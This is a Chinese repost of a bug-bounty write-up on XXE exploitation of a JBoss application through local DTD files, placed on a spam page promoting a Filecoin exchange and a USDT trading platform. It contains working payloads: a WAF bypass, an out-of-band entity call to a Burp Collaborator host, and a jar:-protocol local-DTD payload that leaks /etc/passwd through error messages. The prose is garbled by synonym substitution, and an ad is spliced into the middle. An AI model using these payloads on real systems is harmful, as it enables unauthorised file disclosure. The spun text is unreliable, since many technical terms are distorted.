filecoin交易所(www.ipfs8.vip):当HTTP OOB失败时,若何通过XXE泄露内陆文件

admin/2021-05-08/ 分类:黄山科技/阅读:

万利逆熵

万利逆熵官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

原文地址:https://blog.noob.ninja/spilling-local-files-via-xxe-when/

在这篇文章中,我们将分享一个异常有趣的XXE破绽行使手艺,据我所知,这个手艺最先见于https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/,厥后GoSecure平安团队对其举行了加倍深入的研究。在HTTP Out of Band不能用,只能使用DNS请求的情形下,只要应用程序会抛出XML剖析的详细错误信息,就能行使本文先容的方式在服务器上读出内陆文件。

破绽的发现

在通过Burp浏览应用程序时,我发现应用程序在每个端点都使用了基于JSON的REST API。于是,我最先实验将Content-Type转换为application/xml,并重放了其中的一个请求,发现应用程序竟然抛出了verbose错误,并显示了应用服务器(JBoss)等错误细节,很显著,应用程序以为剖析的是一些XML,但现实上提供应它的却是JSON。以是,我就把JSON Body转换成了对应的XML。

绕过WAF

由于服务器位于一个基于云的WAF后面,以是我爽性不使用XML声明,而是直接扔出XML主体。

<root> <id>..</id> <name>..</name> </root> 

令我受惊的是,应用程序竟然爽直地接受了它,而且请求乐成了。

于是,我立刻实验通过最简朴的XXE payload来读取文件/etc/passwd

<!DOCTYPE a[ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root> <id>1</id> <name>&x;</name> </root> 

但WAF又被触发了,于是我在协议前加了一个空格(即file:///etc/passwd),这样一来,WAF就再次被绕过了!!!

破绽的行使之旅

然则,该应用程序将会对所有转达给它的数据举行响应的平安检查,尤其会严酷检查“name”或其他任何元素中与/etc/passwd有关的内容,只允许泛起类似[a-zA-Z0-9]这样的内容。若是我试图读取一个不存在的文件,或者读取/etc/shadow之类的文件,它就会抛出一个权限不足或其他之类详尽的错误信息,但不会抛出文件内容,以是,可以确认其中存在XXE破绽,也就是说,我们可以借此确认服务器上是否存在某文件,或是否有权接见该文件。令人遗憾的是,我们无法在响应中获得文件的内容。

问道XXE OOB

我想跳过所有穷苦的事情,以是转而使用OOB Trick通过FTP来检索文件,由于App Server是JAVA语言编写的,为此使用了burp collaborator,并使用了参数实体,而不是通例的实体。

<!DOCTYPE a[ <!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x; ]> <root> <id>1</id> <name>test</name> </root> 

再次重申,在这里HTTP Out of Band是无法使用的。

基于子域的OOB XXE

一个多星期后,我在一个子域上发现了一个RCE破绽,出于好奇,我在该子域上面托管了一个恶意的DTD文件:一方面可以通过XXE破绽读取/etc/passwd文件,另一方面还能行使详细的服务器错误信息来泄露文件的内容,详细如下所示:https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/,而且最终心满意足了!我想,可能是由于这个子域位于白名单中,以是允许确立出站毗邻的缘故。

为此,公司给我发了一点奖励,并希望我在不借助已知RCE破绽的情形下行使这个XXE破绽,若是乐成的话,我就能获得全额奖金。

在不借助OOB的情形下,通过内陆DTD实现完整的XXE破绽行使

实验了很长一段时间,我都一直无法行使这个破绽,但厥后https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html给我带来了一线希望。在这篇文章中,作者列出了许多可能已经存在于系统中的常见的DTD文件,以及若何行使这些DTD文件通过XXE破绽实现文件读取,而且只需笼罩/替换这些DTD文件中已经存在的实体即可。然而,在我的目的服务器上,该文章中列出的那些DTD文件一个也不存在。

,

USDT场外交易

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,

内陆DTD手艺简介:若是我们发现目的服务器文件系统中某个地方已经存在任何DTD文件,只要该文件含有参数实体(好比<!ENTITY % injectable "something">),而且该实体会被DTD自己所挪用(好比<!ENTITY % random (%injectable;)>),那么,我们基本上可以笼罩该实体的内容,为此,我们只需行使OOB手艺在外部evil.DTD中写入我们要做的事情即可。好比,假设服务器上存在一个legit.td

/usr/share/xyz/legit.dtd: .. <!ENTITY % injectable "something"> .. <!ENTITY % random (%injectable;)> .. .. 

同时,若是我们行使XXE加入以下内容:

<!DOCTYPE xxe[ <!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd"> <!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('> %x; ]> <root> .. </root> 

那么,在剖析XML内容的时刻,会将

<!ENTITY % random (%injectable;)>

转化为:

<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>

寻找内陆DTD文件

GoSecure还宣布了一个工具,用于查找包罗可注入实体的DTD文件,同时,该工具需要将Docker容器导出的文件系统作为其输入。因此,我提取了JBoss Docker映像的特定版本,并启动它,然后,通过以下下令将Docker容器导出到文件系统中:

$ docker export {container} -o jboss.tar $ java -jar dtd-finder-1.0-all.jar jboss.tar


dtd-finder-1.0-all.jar的输出内容

这个工具在目的JBoss Docker容器的文件系统的jar/zip文件中发现了一些带有可注入实体的DTD文件。

以下是发现的jar归档:/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar,其中含有以下文件:/schema/xmlschema/XMLSchema.td,该文件中含有一个名为“xs-datypes”的可注入实体。

而且,XMLSchema.td中含有以下内容:

.... <!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' > .... %xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here--> ... ....

以是,我不得不在XXE Payload中确立以下实体(用于笼罩XMLSchema.td中的现有实体):

<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &,x25; error SYSTEM ' file:///abcxyz/%file;'>"> %eval; %error; '>

幸运的是,当前的行使工具是一个基于JAVA的应用程序,以是,它使用的“jar”协议可以用来读取归档(jar/zip等)中的文件。例如:对于 jar:file://var/www/html/test.zip!/test.txt来说,其中test.txt就是test.zip归档中的一个文件。

由于我是在自己的内陆环境下举行实验的,以是,我立刻检查这个jar文件是否也存在于响应的应用程序中,发现它确实存在。接下来,我所要做的就是:使用jar协议读取jbossxacml-x.x.x.Final-redhat-x.jar中的XMLSchema.dtd文件,然后,通过确立“xs-datatypes”实体来笼罩其内容。

<!DOCTYPE root [ <!ENTITY % x SYSTEM "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &,x25; error SYSTEM ' file:///abcxyz/%file;'>"> %eval; %error; '> %x; ]> <root> <id>..</id> <name>test</name> </root>

然后,见证事业的时刻到了! 它在HTTP响应中的错误新闻自己中曝出了/etc/passwd文件的内容。

行使异常通过内陆DTD手艺实现具有完整响应的XXE攻击

参考资料

  • https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
  • https://github.com/GoSecure/dtd-finder https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html
阅读:
广告 330*360
广告 330*360
黄山新闻网
微信二维码扫一扫
关注微信公众号
新闻自媒体 Copyright © 2002-2019 黄山新闻网 版权所有
二维码
意见反馈 二维码